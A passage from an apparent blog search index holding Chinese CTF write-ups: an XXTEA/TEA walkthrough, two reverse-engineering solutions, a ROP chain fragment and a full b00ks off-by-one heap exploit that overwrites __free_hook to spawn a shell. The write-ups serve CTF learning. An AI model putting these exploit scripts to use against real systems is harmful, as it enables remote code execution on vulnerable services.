0x0000000000027529+libc.addresspop_rdx_r12 = 0x000000000011c371 + libc.addresspayload = p64(pop_rdi)+p64(libc.bss(0x600))+p64(pop_rsi)+p64(0)+p64(libc.sym['open'])payload +=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(libc.bss(0x700))+p64(pop_rdx_r12)+p64(0x100)+p64(0)+p64(libc.sym['read'])payload +=p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(libc.bss(0x700))+p64(pop_rdx_r12)+p64(0x100)+p64(0)+p64(libc.sym['write'])payload = payload.ljust(0x100)+"./flag\\x00"p.send(payload)p.interactive()\n\n\n插画ID:62506385\n","categories":["CTF题记","Note"],"tags":["CTF","TQLCTF"]},{"title":"XXTEA加密流程分析","url":"/2021/03/17/xxtea/","content":"插图ID:87326553   \n代码与图解来自:https://www.jianshu.com/p/4272e0805da3\n    对于我这种相关知识欠缺的人来说,光是如此有些难以理解,因此基于该作者的图片与代码试着分析了一下实际的加密过程(也因为网上没能找到具体的文字描述过程,甚至图解的字符解释也没有,所以只能自己对着代码分析了)。\n图解:\n​\nC代码:\n#include <stdio.h> #include <stdint.h> #define DELTA 0x9e3779b9 #define MX (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (key[(p&3)^e] ^ z))) void btea(uint32_t *v, int n, uint32_t const key[4]) { uint32_t y, z, sum; unsigned p, rounds, e; if (n > 1) /* Coding Part */ { rounds = 6 + 52/n; sum = 0; z = v[n-1]; do { sum += DELTA; e = (sum >> 2) & 3; for (p=0; p<n-1; p++) { y = v[p+1]; z = v[p] += MX; } y = v[0]; z = v[n-1] += MX; } while (--rounds); } else if (n < -1) /* Decoding Part */ { n = -n; rounds = 6 + 52/n; sum = rounds*DELTA; y = v[0]; do { e = (sum >> 2) & 3; for (p=n-1; p>0; p--) { z = v[p-1]; y = v[p] -= MX; } z = v[n-1]; y = v[0] -= MX; sum -= DELTA; } while (--rounds); } }\n\n\n 如果您要对照本文章实际调试,试着小窗吧。如下文字解释不会再引用图片。\n代码符号:\n    DELTA:算是该加密算法的一个特征值,为黄金分割数(5√-2)/2与232的乘积。实际上,该值不影响算法,但能很好的避免一些错误。该数值在其他算法中也常有运用。\n    MX:对照图例。暂时不知道其为什么的缩写。在本例中请对照加密图解,算是算法的一部分。\n    n:对应明文或密文的数组长度。(+n用于加密,-n用于解密。单纯是在代码实现时为了方便而如此设计罢了)\n    v:明文或密文数组。对应图解中的X\n    key:密钥数组。对应图解中的K\n    rounds:加密循环的轮数。\n    sum:对应图解中的D。\n    e:对应图解中的(D>>2)\n    p:本例中用作明文或密文数组的索引。\n    r:参照代码,类比p&3**(该符号在图中而不在代码中)。3的二进制编码为11,任何数与其与运算后,可能产生(00,01,10,11),对应(0,1,2,3)(但这种理解仍有问题,怀疑图解中的r所在位置不同时具有不同的意义)**\n图解符号:\n    方框:相加盒。将指向该盒的变量进行相加。\n    圆圈:异或盒。将指向该盒的变量进行异或。\n个人建议:\n    观看图解的时候,推荐自下而上,那样比较符合代码编写的流程。\n    其中涉及的数学原理是异或,因此具有可逆性。但对于一些变量的来历仍然不解(例如:Xω的含义尚且不明。r猜测对应了加密轮数)\n注释:\n    可以将图示当作一轮的加密过程。Xr所在的循环中的相加盒实际作用为将MZ与Xr相加后的结果赋予Xr。\n    代码中的y、z分别表示图例中的Xr-1与Xr+1,但需要注意的是,实际代码实现中,存在如下代码:\ny = v[p+1]; z = v[p] += MX;\n\n\n    也就是说,z既对应了图中的Xr,也对应了Xr+1;而y表示Xr-1,实际上是z的后一个元素。\n    (换一种说法就是,将y指向明文的下一位,z指向本次需要加密的明文元素。将z经过各种复杂的变化后,再将结果与原本的数据相加得到密文,将指针后移,重复同样的操作。)\n    仅对比图例有着相对别扭的说法,但这已经是笔者能在网上找到的可读性相对较好的一版代码了。\n-————————————————–\n    顺便也将TEA与XTEA的图解与代码留在这里,以方便查阅和帮助XXTEA加密的流程理解。\nTEA:\n​\n#include <stdio.h> #include <stdint.h> //加密函数 void encrypt (uint32_t* v, uint32_t* k) { uint32_t v0=v[0], v1=v[1], sum=0, i; /* set up */ uint32_t delta=0x9e3779b9; /* a key schedule constant */ uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3]; /* cache key */ for (i=0; i < 32; i++) { /* basic cycle start */ sum += delta; v0 += ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1); v1 += ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3); } /* end cycle */ v[0]=v0; v[1]=v1; } //解密函数 void decrypt (uint32_t* v, uint32_t* k) { uint32_t v0=v[0], v1=v[1], sum=0xC6EF3720, i; /* set up */ uint32_t delta=0x9e3779b9; /* a key schedule constant */ uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3]; /* cache key */ for (i=0; i<32; i++) { /* basic cycle start */ v1 -= ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3); v0 -= ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1); sum -= delta; } /* end cycle */ v[0]=v0; v[1]=v1; } // v为要加密的数据// k为加密解密密钥,为4个32位无符号整数,即密钥长度为128位\n\n\nXTEA:\n​\n#include <stdio.h> #include <stdint.h> /* take 64 bits of data in v[0] and v[1] and 128 bits of key[0] - key[3] */ void encipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) { unsigned int i; uint32_t v0=v[0], v1=v[1], sum=0, delta=0x9E3779B9; for (i=0; i < num_rounds; i++) { v0 += (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]); sum += delta; v1 += (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3]); } v[0]=v0; v[1]=v1; } void decipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) { unsigned int i; uint32_t v0=v[0], v1=v[1], delta=0x9E3779B9, sum=delta*num_rounds; for (i=0; i < num_rounds; i++) { v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3]); sum -= delta; v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]); } v[0]=v0; v[1]=v1; }\n\n\n","categories":["Note","杂物间"],"tags":["TEA","密码学"]},{"title":"2019红帽杯 - easyRE 分析与自省","url":"/2021/06/24/2019redeasyre/","content":"​\n    稍微……有那么一点离谱\n    程序无壳,可以直接放入IDA,通过字符串找到如下函数:\n__int64 sub_4009C6(){ __int64 result; // rax int i; // [rsp+Ch] [rbp-114h] __int64 v2; // [rsp+10h] [rbp-110h] __int64 v3; // [rsp+18h] [rbp-108h] __int64 v4; // [rsp+20h] [rbp-100h] __int64 v5; // [rsp+28h] [rbp-F8h] __int64 v6; // [rsp+30h] [rbp-F0h] __int64 v7; // [rsp+38h] [rbp-E8h] __int64 v8; // [rsp+40h] [rbp-E0h] __int64 v9; // [rsp+48h] [rbp-D8h] __int64 v10; // [rsp+50h] [rbp-D0h] __int64 v11; // [rsp+58h] [rbp-C8h] char v12[13]; // [rsp+60h] [rbp-C0h] BYREF char v13[4]; // [rsp+6Dh] [rbp-B3h] BYREF char v14[19]; // [rsp+71h] [rbp-AFh] BYREF char v15[32]; // [rsp+90h] [rbp-90h] BYREF int v16; // [rsp+B0h] [rbp-70h] char v17; // [rsp+B4h] [rbp-6Ch] char v18[72]; // [rsp+C0h] [rbp-60h] BYREF unsigned __int64 v19; // [rsp+108h] [rbp-18h] v19 = __readfsqword(0x28u); qmemcpy(v12, "Iodl>Qnb(ocy", 12); v12[12] = 127; qmemcpy(v13, "y.i", 3); v13[3] = 127; qmemcpy(v14, "d`3w}wek9{iy=~yL@EC", sizeof(v14)); memset(v15, 0, sizeof(v15)); v16 = 0; v17 = 0; sub_4406E0(0LL, v15, 37LL); v17 = 0; if ( sub_424BA0(v15) == 36 ) { for ( i = 0; i < (unsigned __int64)sub_424BA0(v15); ++i ) { if ( (unsigned __int8)(v15[i] ^ i) != v12[i] ) { result = 4294967294LL; goto LABEL_13; } } sub_410CC0("continue!"); memset(v18, 0, 0x40uLL); v18[64] = 0; sub_4406E0(0LL, v18, 64LL); v18[39] = 0; if ( sub_424BA0(v18) == 39 ) { v2 = sub_400E44(v18); v3 = sub_400E44(v2); v4 = sub_400E44(v3); v5 = sub_400E44(v4); v6 = sub_400E44(v5); v7 = sub_400E44(v6); v8 = sub_400E44(v7); v9 = sub_400E44(v8); v10 = sub_400E44(v9); v11 = sub_400E44(v10); if ( !(unsigned int)sub_400360(v11, off_6CC090) ) { sub_410CC0("You found me!!!"); sub_410CC0("bye bye~"); } result = 0LL; } else { result = 4294967293LL; } } else { result = 0xFFFFFFFFLL; }LABEL_13: if ( __readfsqword(0x28u) != v19 ) sub_444020(); return result;}\n\n\n     通过分析,我们可以把函数名修正为:\n v19 = __readfsqword(0x28u); qmemcpy(v12, "Iodl>Qnb(ocy", 12); v12[12] = 127; qmemcpy(v13, "y.i", 3); v13[3] = 127; qmemcpy(v14, "d`3w}wek9{iy=~yL@EC", sizeof(v14)); memset(v15, 0, sizeof(v15)); v16 = 0; v17 = 0; read(0LL, v15, 37LL); v17 = 0; if ( strlen(v15) == 36 ) { for ( i = 0; i < strlen(v15); ++i ) { if ( (v15[i] ^ i) != v12[i] ) { result = 4294967294LL; goto LABEL_13; } } printf("continue!"); memset(v18, 0, 0x40uLL); v18[64] = 0; read(0LL, v18, 64LL); v18[39] = 0; if ( strlen(v18) == 39 ) { v2 = base64encode(v18); v3 = base64encode(v2); v4 = base64encode(v3); v5 = base64encode(v4); v6 = base64encode(v5); v7 = base64encode(v6); v8 = base64encode(v7); v9 = base64encode(v8); v10 = base64encode(v9); v11 = base64encode(v10); if ( !sub_400360(v11, off_6CC090) ) { printf("You found me!!!"); printf("bye bye~"); } result = 0LL; } else { result = 4294967293LL; } } else { result = 0xFFFFFFFFLL; }LABEL_13: if ( __readfsqword(0x28u) != v19 ) sub_444020(); return result;}\n\n\n    有一处9层base64加密的字符串存在\n.rodata:00000000004A23A8 aVm0wd2vhuxhtwg db 'Vm0wd2VHUXhTWGhpUm1SWVYwZDRWVll3Wkc5WFJsbDNXa1pPVlUxV2NIcFhhMk0xV'.rodata:00000000004A23A8 ; DATA XREF: .data:off_6CC090↓o.rodata:00000000004A23A8 db 'mpKS1NHVkdXbFpOYmtKVVZtcEtTMUl5VGtsaVJtUk9ZV3hhZVZadGVHdFRNVTVYVW'.rodata:00000000004A23A8 db '01T2FGSnRVbGhhVjNoaFZWWmtWMXBFVWxSTmJFcElWbTAxVDJGV1NuTlhia0pXWWx'.rodata:00000000004A23A8 db 'ob1dGUnJXbXRXTVZaeVdrWm9hVlpyV1hwV1IzaGhXVmRHVjFOdVVsWmlhMHBZV1ZS'.rodata:00000000004A23A8 db 'R1lWZEdVbFZTYlhSWFRWWndNRlZ0TVc5VWJGcFZWbXR3VjJKSFVYZFdha1pXWlZaT'.rodata:00000000004A23A8 db '2NtRkhhRk5pVjJoWVYxZDBhMVV3TlhOalJscFlZbGhTY1ZsclduZGxiR1J5VmxSR1'.rodata:00000000004A23A8 db 'ZXSlZjRWhaTUZKaFZqSktWVkZZYUZkV1JWcFlWV3BHYTFkWFRrZFRiV3hvVFVoQ1d'.rodata:00000000004A23A8 db 'sWXhaRFJpTWtsM1RVaG9hbEpYYUhOVmJUVkRZekZhY1ZKcmRGTk5Wa3A2VjJ0U1Ex'.rodata:00000000004A23A8 db 'WlhTbFpqUldoYVRVWndkbFpxUmtwbGJVWklZVVprYUdFeGNHOVhXSEJIWkRGS2RGS'.rodata:00000000004A23A8 db 'nJhR2hTYXpWdlZGVm9RMlJzV25STldHUlZUVlpXTlZadE5VOVdiVXBJVld4c1dtSl'.rodata:00000000004A23A8 db 'lUWGhXTUZwell6RmFkRkpzVWxOaVNFSktWa1phVTFFeFduUlRhMlJxVWxad1YxWnR'.rodata:00000000004A23A8 db 'lRXRXTVZaSFVsUnNVVlZVTURrPQ==',0\n\n\n    解码后得到:\n\n“https://bbs.pediy.com/thread-254172.htm”\n\n    看来没有那么简单\nqmemcpy(v12, "Iodl>Qnb(ocy", 12);v12[12] = 127;qmemcpy(v13, "y.i", 3);v13[3] = 127;qmemcpy(v14, "d`3w}wek9{iy=~yL@EC", sizeof(v14));\n\n\n    这里还有一个显然特殊的字符串\n    v12、v13、v14在内存中是连续的,通过第二和第四行的赋值操作将‘\\0’抹去,使得他们连成一整个字符串(但本来是‘\\0’的地方现在被填充了,所以字符串增加了两个字节)\nBYTE ke1[14] = "Iodl>Qnb(ocy";char ke2[5] = "y.i";char ke3[20] = "d`3w}wek9{iy=~yL@EC";for (int i = 0; i < 13; i++){ke1[i] ^= i;if (i == 12)ke1[12] = 127 ^ i;}cout << ke1;for (int i = 0; i < 4; i++){ke2[i] ^= (i + 13);if (i == 3){ke2[3] = 127 ^ (i + 13);}}cout << ke2;for (int i = 0; i < 19; i++){ke3[i] ^= (i + 17);}cout << ke3;\n\n\n解密之后得到:\n\nInfo:The first four chars are `flag`\n\n    现在暂时无法理解它的意义,好像什么都没说一样,但实际上是个必要的提示\n     自以上分析,sub_4009C6函数似乎已经没有其他信息可以获取了\n​\n    这个体量的函数列表显然也不太能够一个个去检查 \n    再次从字符串搜索入手:\n.data:00000000006CC090 off_6CC090 dq offset aVm0wd2vhuxhtwg.data:00000000006CC090 ; DATA XREF: sub_4009C6+31B↑r.data:00000000006CC090 ; "Vm0wd2VHUXhTWGhpUm1SWVYwZDRWVll3Wkc5WFJ"....data:00000000006CC098 align 20h.data:00000000006CC0A0 ; char byte_6CC0A0[3].data:00000000006CC0A0 byte_6CC0A0 db 40h, 35h, 20h, 56h, 5Dh, 18h, 22h, 45h, 17h, 2Fh, 24h.data:00000000006CC0A0 ; DATA XREF: sub_400D35+95↑r.data:00000000006CC0A0 ; sub_400D35+C1↑r ....data:00000000006CC0A0 db 6Eh, 62h, 3Ch, 27h, 54h, 48h, 6Ch, 24h, 6Eh, 72h, 3Ch.data:00000000006CC0A0 db 32h, 45h, 5Bh\n\n\n     从那个9层base64的字符串向上查找,来到此处,发现在下面还有一个特殊的数组(没做成数组之前很是明显,我将它们打成组了)\n​\n     这个函数通过sub_402080,也就是init函数中的函数数组来初始化\nunsigned __int64 sub_400D35(){ unsigned __int64 result; // rax unsigned int v1; // [rsp+Ch] [rbp-24h] int i; // [rsp+10h] [rbp-20h] int j; // [rsp+14h] [rbp-1Ch] unsigned int v4; // [rsp+24h] [rbp-Ch] unsigned __int64 v5; // [rsp+28h] [rbp-8h] v5 = __readfsqword(050u); v1 = sub_43FD20(0LL) - qword_6CEE38; for ( i = 0; i <= 1233; ++i ) { sub_40F790(v1); sub_40FE60(); sub_40FE60(); v1 = sub_40FE60() ^ 0x98765432; } v4 = v1; if ( ((unsigned __int8)v1 ^ byte_6CC0A0[0]) == 0x66 && (HIBYTE(v4) ^ byte_6CC0A0[3]) == 0x67 ) { for ( j = 0; j <= 24; ++j ) sub_410E90(byte_6CC0A0[j] ^ *((_BYTE *)&v4 + j % 4)); } result = __readfsqword(0x28u) ^ v5; if ( result ) sub_444020(); return result;}\n\n\n    第一个for循环对v1变量进行初始化,得到一个定值;\n    第二个for循环中将上述的特殊数组做循环一次异或;\n    至于sub_410E90、sub_40F790、sub_40FE60函数则由于过于复杂,或许是系统函数,便不做分析,选择性忽视过去\n    同时,第二个for循环中的异或数是 v4的某个BYTE位,而v4是一个int类型的4BYTE数据\n    那么我们现在需要做的应该是获取这个v4或v1\n    在if条件中,我们可以发现:\n    v1的第一个BYTE与byte_6CC0A0[0]异或结果位‘f’;\n    v4的最后一个BYTE与byte_6CC0A0[3]异或结果位‘g’\n    根据:\n\nInfo:The first four chars are `flag`\n\n   可以猜测v1的四个BYTE与byte_6CC0A0的前四个异或后结果应该分别位‘f’、’l’、‘a’、‘g’\n    以此获得v1之后再做第二个for循环运算得到结果:\nchar k[] = { 0x40, 0x35, 0x20, 0x56, 0x5D, 0x18, 0x22, 0x45, 0x17, 0x2F, 0x24,0x6E, 0x62, 0x3C, 0x27, 0x54, 0x48, 0x6C, 0x24, 0x6E, 0x72, 0x3C,0x32, 0x45, 0x5B };BYTE f[4];f[0] = 0x66 ^ k[0];f[1] = 108 ^ k[1];f[2] = 97 ^ k[2];f[3] = 0x67 ^ k[3];for (int i = 0; i <= 24; i++){k[i] ^= f[i % 4];}for (int i = 0; i <= 24; i++){cout << (char)k[i];}\n\n    从此得到flag\n    这次我该吸取的教训是:不要因为事情看起来复杂就认为考点不在这里 ​\n插画ID : 90097136\n","categories":["CTF题记","Note"],"tags":["CTF"]},{"title":"2019红帽杯 - childRE 分析与拓展","url":"/2021/07/01/2019%E7%BA%A2%E5%B8%BD%E6%9D%AFchildre-%E5%88%86%E6%9E%90%E4%B8%8E%E6%8B%93%E5%B1%95/","content":"​\n        十分特殊也有趣的一题,特此记录。流程并非难以理解,但有些需要注意的点。\n        无壳,可以直接用IDA分析,但由于存在一些动态变量,一旦开始动调,代码将会变得更难理解,因此目前只用静态调试来审计\nint __cdecl main(int argc, const char **argv, const char **envp){ __int64 v3; // rax __int64 v4; // rax const CHAR *v5; // r11 __int64 v6; // r10 int v7; // er9 const CHAR *v8; // r10 __int64 v9; // rcx __int64 v10; // rax int result; // eax unsigned int v12; // ecx __int64 v13; // r9 __int128 v14[2]; // [rsp+20h] [rbp-38h] BYREF v14[0] = 0i64; v14[1] = 0i64; sub_140001080("%s"); v3 = -1i64; do ++v3; while ( *((_BYTE *)v14 + v3) ); if ( v3 != 31 ) { while ( 1 ) Sleep(0x3E8u); } v4 = sub_140001280(v14); v5 = name; if ( v4 ) { sub_1400015C0(*(_QWORD *)(v4 + 8)); sub_1400015C0(*(_QWORD *)(v6 + 16)); v7 = dword_1400057E0; v5[dword_1400057E0] = *v8; dword_1400057E0 = v7 + 1; } UnDecorateSymbolName(v5, outputString, 0x100u, 0); v9 = -1i64; do ++v9; while ( outputString[v9] ); if ( v9 == 62 ) { v12 = 0; v13 = 0i64; do { if ( a1234567890Qwer[outputString[v13] % 23] != *(_BYTE *)(v13 + 0x140003478i64) ) _exit(v12); if ( a1234567890Qwer[outputString[v13] / 23] != *(_BYTE *)(v13 + 0x140003438i64) ) _exit(v12 * v12); ++v12; ++v13; } while ( v12 < 0x3E ); sub_140001020("flag{MD5(your input)}\\n"); result = 0; } else { v10 = sub_1400018A0(std::cout); std::ostream::operator<<(v10, sub_140001A60); result = -1; } return result;}\n\n\n         第57行是明显的显示验证结果,则能够判明第56行的while为判断条件的遍历;IDA将 ‘!=’ 后面的内容分析成地址而不是数组,但不妨碍提取数据\nchar fp[] = {"1234567890-=!@#$%^&*()_+qwertyuiop[]QWERTYUIOP{}asdfghjkl;'ASDFGHJKL:\\"ZXCVBNM<> ? zxcvbnm, . /"};//a1234567890Qwerchar tp[] = "(_@4620!08!6_0*0442!@186%%0@3=66!!974*3234=&0^3&1@=&0908!6_0*&";//0000000140003478char kp[] = "55565653255552225565565555243466334653663544426565555525555222";//0000000140003438\n\n\n        而outputString则是我们目前需要求取的数据,它只起到了索引的作用,逆算法不难写出:\nint main(){char fp[] = {"1234567890-=!@#$%^&*()_+qwertyuiop[]QWERTYUIOP{}asdfghjkl;'ASDFGHJKL:\\"ZXCVBNM<> ? zxcvbnm, . /"};char tp[] = "(_@4620!08!6_0*0442!@186%%0@3=66!!974*3234=&0^3&1@=&0908!6_0*&";//0000000140003478char kp[] = "55565653255552225565565555243466334653663544426565555525555222";//0000000140003438char output[64];for (int i = 0; i < 63; i++){output[i]=find(tp[i],kp[i],fp);}cout << output<<endl;}char find(char p1,char p2,char *p3){int index = 0;for (int i = 0; i < 95; i++){if (p3[i] == p1){index = i;break;}}while (p3[index/23]!=p2){index += 23;}return index;}//private: char * __thiscall R0Pxx::My_Aut0_PWN(unsigned char *)t\n\n\n        结果是一个函数声明的字符串,试着将它md5后提交,发现错误,那么就需要继续往上读\n        那么跟踪outputString是从哪里获得的,能够来到第38行UnDecorateSymbolName函数\n\nUnDecorateSymbolName:https://docs.microsoft.com/en-us/windows/win32/api/dbghelp/nf-dbghelp-undecoratesymbolname\n\n        只靠阅读官方文档似乎不太足够,但第38行的大致意思是:完全取消对C++符号的修饰,也就是说,某个C++函数符号被取消修饰后,得到了\n\n“private: char * __thiscall R0Pxx::My_Aut0_PWN(unsigned char *)t” \n\n        这样一个函数声明符号 \n        查阅一些文档之后才知道,C++中的符号在编译之后都会被修饰为另外一种样子\n\nhttps://www.cnblogs.com/yxysuanfa/p/6984895.html\nhttps://blog.csdn.net/Scl_Diligent/article/details/83990429\n\nint Max(int a, int b);//?Max@@YAHHH@Zdouble Max(int a, int b);//?Max@@YANHH@Zdouble Max1(int a, int b);//?Max1@@YANHH@Zdouble Max1(int a, double b);//?Max1@@YANHN@Z\n\n\n         我们通过上述代码定义的函数,在编译后都会形成如注释所示的那样的名称\n​\n        实际操作也验证了我们的想法,那么我们的工作就应该是找到这个经过修饰的名称字符串\n         根据上面给出的两位大佬总结的编译器名称修饰规则,以及我们已经得出的未修饰名称,可以写出确定的字符串:\n?My_Aut0_PWN@R0Pxx@@AAEPADPAE@Z\n\n\n        md5后提交发现还是不对,那就只能再往上读\n        第28行的函数有些复杂,可以暂时不看;第30~37中涉及了v5,这个v5应是我们输入的内容或是中间内容,也正是v5经过UnDecorateSymbolName变换得到了outputString\n        函数sub_1400015C0实际上是一个二叉树下序遍历\n        (我不确定是不是叫下序,总之就是自下往上的遍历方式)\n        如果不是因为最近正好遇到过类似的题目,可能我也没办法马上认出来,不过两层的递归查找其实也还算明显的;以及,就算不确定是否真是如此,也可以通过动态调试来确定是否为二叉树;并且,如果将其当作二叉树,sub_140001280函数便能够比较自然的想象为二叉树的生成\n​\n         上图是我根据下序遍历的规则手绘出的二叉树,然后再用上序遍历把字符串拼出来得到了flag\n        (可恶,好久没写过字了,本就难看的字写的更加难看了……)\n        直接把这个flag输入进去,程序提示正确,我们的猜想也就被验证了\n​\n         当然,实际操作中我们根本需要这样繁琐的去验证是否为二叉树\n        大可以通过动调将输入值改为\nABCDEFGHIJKLMNOPQ......\n\n\n        等比较好确定的有序的值,然后通过修改PC(程序计数器)跳过第23行的 if 判断,这样就能用较短的数据量确定出实际结构了\n        但实际上,这为大佬也给出了另外一个比较简单的方法来算出置换后的结果:\n\nhttps://www.freesion.com/article/6515734088/\n\n         个人觉得这要比我手绘二叉树来得简单得多,供参考吧 ​\n插画ID:90581839\n","categories":["CTF题记","Note"],"tags":["CTF"]},{"title":"Asis CTF 2016 - b00ks —— Off-By-One利用与思考","url":"/2021/09/12/asis-ctf-2016-b00ks/","content":"​\n前言:      这道题做得有点痛苦……因为本地通常都很难和服务器有相同的环境,使用mmap开辟空间造成的偏移会因此而变得麻烦,并且free_hook周围很难伪造chunk,一度陷入恐慌……\n        不过本来应该很早就开始Off-By-One的学习的,竟然现在才注意到……惭愧\n正文:        book结构:\nstruct book{ int id; char *name; char *description; int size;}\n\n\n        程序具体的流程不做赘述,主要漏洞点出在sub_9F5函数中:\n__int64 __fastcall sub_9F5(_BYTE *a1, int a2){ int i; // [rsp+14h] [rbp-Ch] if ( a2 <= 0 ) return 0LL; for ( i = 0; ; ++i ) { if ( read(0, a1, 1uLL) != 1 ) return 1LL; if ( *a1 == '\\n' ) break; ++a1; if ( i == a2 ) break; } *a1 = 0; return 0LL;}\n\n\n         i是从0开始计数的,假设输入a2=32,那么将会通过read读取32个字符,而在++a1之后,让第33个字符的位置被“\\x00”覆盖,从而造成该漏洞\n第一种方法:mmap拓展        该方法实用性似乎不是很高,主要的利用思路是:mmap开辟出的块与libc基址的偏移是固定的,因此只要拿到mmap开辟出的chunk的地址,就能通过一个“固定的偏移”得到libc\n        但这个偏移会因为不同的系统、不同的libc版本种种原因而发生偏差\n        笔者使用Ubuntu16的系统得出偏移后,成功在本地拿到了shell,但服务器那边却没能成功\n        也试着从其他师傅的wp里获取,但似乎因为BUU过去的系统升级等原因,那些偏移也没能成功,最后使用的是第二种方法拿到了服务端的shell,但其方法还是值得学习的,并且主要的思路同第二种方法是相同的\n.data:0000000000202010 off_202010 dq offset unk_202060 ; DATA XREF: sub_B24:loc_B38↑o.data:0000000000202010 ; sub_BBD:loc_C1B↑o ....data:0000000000202018 off_202018 dq offset unk_202040 ; DATA XREF: sub_B6D+15↑o.data:0000000000202018 ; sub_D1F+CA↑o\n\n\n         IDA中可以看见名字与书的地址分布\n        二者相距很近,name为unk_202040,而book结构的的地址为unk_202060,因此,如果名字长达32字节,就能够泄露出第一个book结构的地址\n        同时,也因为上面所说的Off-By-One漏洞,我们甚至能将该book结构的最后一位置0\n        因此如果这样去设定:\ncreatename("a"*32)createbook(0xD0,"object1",0x20,"object2")createbook(0x21000, '/bin/sh', 0x21000, '/bin/sh')\n\n\ngdb-peda$ x /10gx 0x55da227e60400x55da227e6040:0x61616161616161610x61616161616161610x55da227e6050:0x61616161616161610x61616161616161610x55da227e6060:0x000055da231941300x000055da231941600x55da227e6070:0x00000000000000000x00000000000000000x55da227e6080:0x00000000000000000x0000000000000000\n\n\n         接下来如果我们打印出内容,就会把地址0x000055da23194130泄露出来\n        并且,因为堆的初始化是按页对齐的,而该程序的生成规律是:name——>des——>book\n        因此,设计好每个chunk的大小,那么当我们覆盖book的最后一个字节时,就能让其指向des\ngdb-peda$ x /10gx 0x000055da231941300x55da23194130:0x00000000000000010x000055da231940200x55da23194140:0x000055da231941000x0000000000000020\n\n\n        0x000055da23194100即为des,和book结构地址只有最低位不同\n        而des结构是我们可以任意写的,如果我们将其伪造成book结构,让这个fake book的des指向我们想要写的位置,那么我们就能达成任意地址写了\n        但话虽如此,我们还不知道应该往哪写\n        基本的想法是覆盖__free_hook或者__malloc_hook为system或one gadget\n        那么我们还需要泄露libc基址:\nbook1_addr = u64(book_author[32:32+6].ljust(8,'\\x00'))log.success("book1_address:" + hex(book1_addr))payload = p64(1) + p64(book1_addr + 0x38) + p64(book1_addr + 0x40) + p64(0xffff)editbook(book_id_1, payload)changename("a"*32)book_id_2, book_name_2, book_des_2, book_author_2 = printbook(1)leak_addr=u64(book_name_2.ljust(8,'\\x00'))log.success("leak_addr:" + hex(leak_addr)) # [+] leak_addr:0x7f5e8d2c4010libc_base=leak_addr+ (0x00007f5e8cd12000 - 0x7f5e8d2c4010)log.success("libc_base:" + hex(libc_base))\n\n\n         我们可以根据堆的开辟顺序得到book2的地址,然后将book1的name和des指向book2的name和des\n        此时如果再打印所有book,book1的name就会泄露出book而name块的地址,而name块是通过mmap开辟而来\n0x00007f5e8cd12000 0x00007f5e8ced2000 r-xp/lib/x86_64-linux-gnu/libc-2.23.so0x00007f5e8ced2000 0x00007f5e8d0d2000 ---p/lib/x86_64-linux-gnu/libc-2.23.so0x00007f5e8d0d2000 0x00007f5e8d0d6000 r--p/lib/x86_64-linux-gnu/libc-2.23.so0x00007f5e8d0d6000 0x00007f5e8d0d8000 rw-p/lib/x86_64-linux-gnu/libc-2.23.so0x00007f5e8d0d8000 0x00007f5e8d0dc000 rw-pmapped\n\n\n        最后只需要将__free_hook写为system,然后把book2删除即可拿到shell\n        因为此时book1的des指向book2的des处,将该处改为__free_hook地址,那么写book2的des时就会往__free_hook处写入:\nsystem=libc_base+libc.symbols['system']free_hook=libc_base+libc.symbols['__free_hook']payload=p64(free_hook)editbook(1, payload)payload=p64(system)editbook(2, payload)deletebook(2)\n\n\n       完整exp如下:\nfrom pwn import *context.log_level = 'info'binary = ELF("b00ks")libc=binary.libcio = process("./b00ks")def createbook(name_size, name, des_size, des): io.readuntil("> ") io.sendline("1") io.readuntil(": ") io.sendline(str(name_size)) io.readuntil(": ") io.sendline(name) io.readuntil(": ") io.sendline(str(des_size)) io.readuntil(": ") io.sendline(des)def printbook(id): io.readuntil("> ") io.sendline("4") io.readuntil(": ") for i in range(id): book_id = int(io.readline()[:-1]) io.readuntil(": ") book_name = io.readline()[:-1] io.readuntil(": ") book_des = io.readline()[:-1] io.readuntil(": ") book_author = io.readline()[:-1] return book_id, book_name, book_des, book_authordef createname(name): io.readuntil("name: ") io.sendline(name)def changename(name): io.readuntil("> ") io.sendline("5") io.readuntil(": ") io.sendline(name)def editbook(book_id, new_des): io.readuntil("> ") io.sendline("3") io.readuntil(": ") io.writeline(str(book_id)) io.readuntil(": ") io.sendline(new_des)def deletebook(book_id): io.readuntil("> ") io.sendline("2") io.readuntil(": ") io.sendline(str(book_id))createname("a"*32)createbook(0xD0,"object1",0x20,"object2")createbook(0x21000, '/bin/sh', 0x21000, '/bin/sh')book_id_1, book_name, book_des, book_author = printbook(1)book1_addr = u64(book_author[32:32+6].ljust(8,'\\x00'))log.success("book1_address:" + hex(book1_addr))payload = p64(1) + p64(book1_addr + 0x38) + p64(book1_addr + 0x40) + p64(0xffff)editbook(book_id_1, payload)changename("a"*32)book_id_2, book_name_2, book_des_2, book_author_2 = printbook(1)leak_addr=u64(book_name_2.ljust(8,'\\x00'))log.success("leak_addr:" + hex(leak_addr))libc_base=leak_addr+ (0x00007f5e8cd12000 - 0x7f5e8d2c4010)log.success("libc_base:" + hex(libc_base))system=libc_base+libc.symbols['system']free_hook=libc_base+libc.symbols['__free_hook']payload=p64(free_hook)editbook(1, payload)payload=p64(system)editbook(2, payload)deletebook(2)io.interactive()\n\n         这是本地能够通过的方法,但受限于不能拿到服务端那边的偏移,所以只能在本地通过\n第二种方法:        另外一种泄露方式,也是笔者成功在服务端那边打通的exp\n        其泄露libc基址的方法与第一种不同,通过unsorted bin中的fd指针泄露\np.sendlineafter('name: ','a'*0x1f+'b')add(0xd0,'aaaaaaaa',0x20,'bbbbbbbb')show()p.recvuntil('aaab')heap_addr = 